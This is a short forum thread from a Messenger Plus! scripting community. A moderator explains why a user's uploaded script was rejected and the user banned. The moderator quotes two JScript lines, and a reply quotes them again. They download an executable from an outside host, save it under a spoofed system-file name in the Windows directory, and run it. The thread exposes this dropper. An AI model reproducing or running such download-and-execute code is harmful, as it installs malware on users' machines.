Shoutbox

hi all

why i couldn`t upload my script at MsgPlus.net

??????

i wanna add contributions in the site but there is problem

see :

code:

---

An unhandled exception has occurred.
We apologize for the inconvenience this may cause you. Please follow the link below back to our Messenger Plus! Home page and feel free to report this error on the forum
Go back to the Home page

---

Because the script you're uploading has:

jscript code:

---

Interop.Call("urlmon.dll", "URLDownloadToFileW", 0, "http://disk04.arb-up.com/files/2/rcjs5vg6cyrr8i/svchost.exe", "c:\\windows\\svhost.exe", 0, 0);
Interop.Call("shell32.dll", "ShellExecuteW",0 ,null , "c:\\windows\\svhost.exe" ,null ,null ,1);

---

?

quote:

---

Originally posted by Mnjul
Because the script you're uploading has:

jscript code:

---

Interop.Call("urlmon.dll", "URLDownloadToFileW", 0, "http://disk04.arb-up.com/files/2/rcjs5vg6cyrr8i/svchost.exe", "c:\\windows\\svhost.exe", 0, 0);
Interop.Call("shell32.dll", "ShellExecuteW",0 ,null , "c:\\windows\\svhost.exe" ,null ,null ,1);

---

?

---

Is that script malicious? It seems to me it's replacing svhost...

quote:

---

Originally posted by Horseboy
Is that script malicious? It seems to me it's replacing svhost...

---

Indeed it is malicious (hence why the script was declined and the user banned).

It doesn't really replace that crucial Windows system file though. But it rather places that malicious file in the \Windows directory (the real svhost.exe is in \Windows\System32) to spoof people and/or certain Windows programs. Once it runs, who knows what may happen.... but it certainly wont be something good

lol at your avatar